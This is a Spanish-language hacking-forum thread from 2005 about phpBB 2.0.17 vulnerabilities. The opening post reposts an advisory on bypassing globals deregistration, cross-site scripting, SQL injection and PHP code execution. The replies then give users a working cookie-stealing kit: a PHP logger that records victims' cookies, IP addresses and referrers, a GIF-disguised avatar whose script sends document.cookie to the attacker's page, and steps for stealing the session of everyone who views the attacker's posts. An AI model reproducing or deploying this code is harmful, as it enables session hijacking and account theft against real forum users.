elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Nuevo bug en los phpbb<=2.0.17
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Nuevo bug en los phpbb<=2.0.17  (Leído 18,338 veces)
sikik


Desconectado Desconectado

Mensajes: 665


Jo sóc jo i la meva circumstància.


Ver Perfil
Nuevo bug en los phpbb<=2.0.17
« en: 2 Noviembre 2005, 15:04 pm »

jeje pues ya va otro mas para todos los phpbbs..

Código:
 To get rid of possible security problems caused by not properly
initialised variables phpBB comes with the following piece of
code, that is intended to deregister global variables, which were
created because of the register_globals directive. Unfortunately
there are atleast 3 ways to bypass the protection.

// PHP4+ path
$not_unset = array('HTTP_GET_VARS', 'HTTP_POST_VARS',
'HTTP_COOKIE_VARS', 'HTTP_SERVER_VARS',
'HTTP_SESSION_VARS', 'HTTP_ENV_VARS',
'HTTP_POST_FILES', 'phpEx', 'phpbb_root_path');

// Not only will array_merge give a warning if a parameter
// is not an array, it will actually fail. So we check if
// HTTP_SESSION_VARS has been initialised.
if (!isset($HTTP_SESSION_VARS))
{
$HTTP_SESSION_VARS = array();
}

// Merge all into one extremely huge array; unset
// this later
$input = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS,
$HTTP_COOKIE_VARS, $HTTP_SERVER_VARS,
$HTTP_SESSION_VARS, $HTTP_ENV_VARS,
$HTTP_POST_FILES);

unset($input['input']);
unset($input['not_unset']);

while (list($var,) = @each($input))
{
if (!in_array($var, $not_unset))
{
unset($$var);
}
}

unset($input);

Bypass Vulnerabilities
----------------------

[1] In PHP5 <= 5.0.5 it is possible to register f.e. the global
variable $foobar by supplying a GET/POST/COOKIE variable
with the name 'foobar' but also by supplying a GPC variable
called 'GLOBALS[foobar]'. If the variable is supplied in
that way, the code above will not try to unset $foobar, but
$GLOBALS, which completely bypasses the protection.

[2] When the session extension is not started by a call to
session_start(), PHP does not know about the variables
$_SESSION or $HTTP_SESSION_VARS, which means, it is possible
to fill them with any value if register_globals is turned on.
Combined with the fact (that was even documented in the phpBB
code), that array_merge() will fail in PHP5, when at least
one of the parameters is not an array, it is possible for an
attacker to simply set HTTP_SESSION_VARS to a string and let
the complete protection fail, because $input ends up empty.

[3] When register_long_array is turned off PHP does not know
anymore about all the HTTP_* variables. This means they can
be filled with anything that is completely unrelated to the
existing global variables. It is obvious that the protection
cannot work, when this configuration is choosen.

Additonally to the 3 possible ways to bypass the globals
deregistration code, several not properly initalised variables
were disclosed to the vendor, that can even lead to remote code
execution.

Not properly initialised variables
----------------------------------

[1] Within usercp_register.php the variable 'error_msg' is not
properly initialised and can therefore be used to inject
arbitrary HTML code

[2] Within login.php the variable 'forward_page' is not properly
initialised and can be used to inject arbitrary HTML code

[3] Within search.php the variable 'list_cat' is not properly
initialised and can be used to inject arbitrary HTML

[4] Within usercp_register.php the variable 'signature_bbcode_uid'
is not properly initialised and can be used for SQL injection
of arbitrary 'field=xxx' statements into queries operating
on the user table, when magic_quotes_gpc is turned off.

[5] The same variable [4] can be used to inject f.e. the 'e'
modifier into the first parameter of a preg_replace()
statement, which means, that the second parameter is
evaluated as PHP code. Because the second parameter is
entirely filled with the user supplied signature, it is
possible to execute any PHP code. This can be exploited,
no matter if magic_quotes_gpc is turned on or off, just
2 different code paths need to be triggered.

Proof of Concept:

The Hardened-PHP project is not going to release exploits for any
of these vulnerabilities to the public.
http://www.securityfocus.com/bid/15246/info
http://www.securityfocus.com/bid/15243/info
http://www.zone-h.org/advisories/read/id=8348

saludos.
En línea

"Social Engineer -> Because there is no patch for human stupidity".
"Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)"
Warning: shell_exec() has been disabled for security reasons at line 274.
korgzak

Desconectado Desconectado

Mensajes: 171


Aqui no se le va a pegar a nadie...


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #1 en: 2 Noviembre 2005, 18:42 pm »

Cada vez me gustan menos los PHPBB.... viva SMF!
Ahora lo probare :D
En línea

pisagatos


Desconectado Desconectado

Mensajes: 1.771



Ver Perfil WWW
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #2 en: 2 Noviembre 2005, 18:44 pm »

joder que *****, yo utilizo phpbb porque el smf no me deja instalarlo simpre me da errores, agg que asco de bugs
En línea

Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #3 en: 3 Noviembre 2005, 06:06 am »

Y como se usa el exploit?

 ::)
En línea

mousehack


Desconectado Desconectado

Mensajes: 1.143

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #4 en: 3 Noviembre 2005, 19:41 pm »

por ejemplo hagamos algo asi para realizar un robo de cookie...

creamos un archivo llamado cookie.php con el siguiente codigo:

Código:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>

este codigo creara un archivo log.txt con permiso 777

ahora creamos un avatar para subir a la web vulnerable con el siguiente codigo:

Código:
<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>

y lo guardamos, recordando ponerle la extension .GIF

Salu2
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
D3C0D3R

Desconectado Desconectado

Mensajes: 53

D3COD3R


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #5 en: 3 Noviembre 2005, 23:38 pm »

para hacer eso hay que usar un modificador de cookies  ???

haber si entendi primero cree co el phpedit el archivo cookie.php con el codigo

Código:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>

ahora bien el archivo log.txt  :-\

y luego creamos un archivo que sea avatar.php.gif  ??? lo subimos y luego que  ???

pd. ya me cree un foro phpbb 2.0.17 para probar
En línea

sikik


Desconectado Desconectado

Mensajes: 665


Jo sóc jo i la meva circumstància.


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #6 en: 4 Noviembre 2005, 15:09 pm »

tienes que guradarlo .gif no.php.gif  en tu hosting, das permisos de escritura a todos los usuarios al archivo log.txt
te pones el .gif de avatar y todos los usuarios que visiten tus posts les robarás la cookie


saludos.
En línea

"Social Engineer -> Because there is no patch for human stupidity".
"Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)"
Warning: shell_exec() has been disabled for security reasons at line 274.
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #7 en: 4 Noviembre 2005, 18:15 pm »

Citar
<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>


no me sale la imagen .. solo un x y el codigo no se executa..
 ::)
En línea

mousehack


Desconectado Desconectado

Mensajes: 1.143

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #8 en: 4 Noviembre 2005, 18:24 pm »

no tiene que salir ninguna imagen!!! es un gif modificado y el codigo, en principio, crea un archivo ¨log.txt¨ en tu server con las cookies

salu2
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
sikik


Desconectado Desconectado

Mensajes: 665


Jo sóc jo i la meva circumstància.


Ver Perfil
Re: Nuevo bug en los phpbb<=2.0.17
« Respuesta #9 en: 4 Noviembre 2005, 18:25 pm »

tienes que cambiar http://yoursite/cookies.php poir donde hayas puesto tu cookies.php
En línea

"Social Engineer -> Because there is no patch for human stupidity".
"Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)"
Warning: shell_exec() has been disabled for security reasons at line 274.
Páginas: [1] 2 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error en phpBB - Ayuda
Desarrollo Web
victorius 0 2,046 Último mensaje 28 Noviembre 2020, 18:18 pm
por victorius
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines